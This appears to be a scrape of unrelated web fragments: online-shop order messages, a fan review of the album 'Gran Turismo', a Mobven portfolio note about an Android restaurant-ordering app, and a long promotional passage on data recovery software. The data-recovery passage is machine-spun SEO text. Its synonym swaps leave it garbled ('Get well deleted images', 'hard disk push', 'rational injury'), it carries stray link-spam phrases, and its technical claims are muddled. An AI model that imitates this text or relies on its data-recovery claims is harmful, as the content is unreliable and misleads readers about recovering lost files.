Your order is now being processed and we have sent a confirmation email to you at
When will my order be ready to collect?
Following the initial email, you will be contacted by the shop to confirm that your item is available for collection.
Call us on or send us an email at
Unfortunately there has been a problem with your order
Please try again or alternatively you can contact your chosen shop on or send us an email at


text:
Gran Turismo - Stockholm Records, 1998
"Paralyzed" the opening tracks is a slow song with distorted guitars and good chorus.
Next track is the Blondie-inspired single "Erase and Rewind", a good pop-tune, but not very memorable.
"Explode" and "Starter" are songs in the same vein as "Paralysed"; both songs go on too long for my taste.
"Higher" is a beautiful ballad, one of my favourires on the album.
"Marvel Hill" I simply just don`t like.
Next highlight is the great single "My Favorite Game" ; another "Blondie-type" song.
"Junk Of The Hearts" is also a great track.
Conclusion: An album not nearly as strong as "Long Gone Before Daylight", but songs like "Erase and Rewind", "Higher", "My Favorite Game", "Junk of the Hearts" and a few other good tracks, make this decent album.


text:
Mobven is a fast-growth technology company which specializes in mobile software development for iOS, Android, Windows and HTML based platforms.
Mobven has been developed HesapAl mobile application for both platforms IOS and Android. The app provides users to scan the QR code on the desk, order the food and pay the bill at restaurants.
The requirement was implementing existing visual style guide and UI design of IOS version into Android version. I designed the user interface within Material Design Guideline of Google and worked close to the Android developer, gave feedbacks during the development process.
Get in touch:firstname.lastname@example.com


text:
RePicvid Image Recovery enables you to Get well deleted or formatted images from your neighborhood drives or removable media like USB drives, SD cards, memory cards, digital cameras, and many others.
After data has long been physically overwritten on a hard disk push, it is mostly assumed the past data are now not possible to Recuperate. In 1996, Peter Gutmann, a computer scientist, introduced a paper that instructed overwritten data may be recovered from the usage of magnetic drive microscope.
This text has many problems. Make sure you aid enhance it or discuss these troubles within the discuss site. (Learn how and when to get rid of these template messages)
Shedding particular data files as a result of person error may lead to a substantial amount of function. EaseUS receives back your misplaced Mac data.
In all other scenarios, Western Electronic's guarantee is void if a returned disk generate displays a defect attributable to misuse or tampering, improper set up, alteration or to other leads to as laid out in our guarantee coverage.
Physical damage to a hard disk, even in situations where a head crash has transpired, would not necessarily indicate there'll be long lasting lack of data.
Download the demo version and Get well your files. You like this may preview your data To make sure it truly is effective. If you prefer the results you don't need operate This system once again. Order the license vital and enter it in to the open plan. Then duplicate every thing you may need!
The sector lists are stored on numerous chips connected to your PCB, and they're one of a kind to each challenging disk drive. When the data on the PCB tend not to match what's saved on the platter, then the drive won't calibrate adequately.
Pandora Recovery lets you recover unintentionally deleted documents from NTFS, FAT16 and FAT32 formatted drives or memory playing cards, even whenever they have my latest blog post already been emptied from the recycle bin. This system provides a fast scan for not too long ago...
The term "data recovery" is likewise used in the context of forensic apps or espionage, where data which have been encrypted or concealed, instead of weakened, are recovered.
A superb understanding of tricky disk Place is an advantage for data protection assure. EaseUS Mac data recovery Option makes it possible for standpoint disk perspective that exhibits how disk space learn this here now is occupied presently in case of extra use that will cause data reduction.
Data hurt may be brought about when, as an example, a file is written into a sector around the push that has been harmed. This can be the commonest bring about inside a failing travel, which means that data really should be reconstructed to become readable.
The phrase "rational injury" refers to conditions through which the mistake will not be a dilemma during the components and necessitates software-stage alternatives.
From time to time data present in the pc gets encrypted or concealed due to motives like virus attack which could only be recovered by some computer forensic gurus.
The Fact About Data Recovery That No One Is Suggesting
RePicvid Image Recovery enables you to Get well deleted or formatted images from your neighborhood drives or removable media like USB drives, SD cards, memory cards, digital cameras, and many others.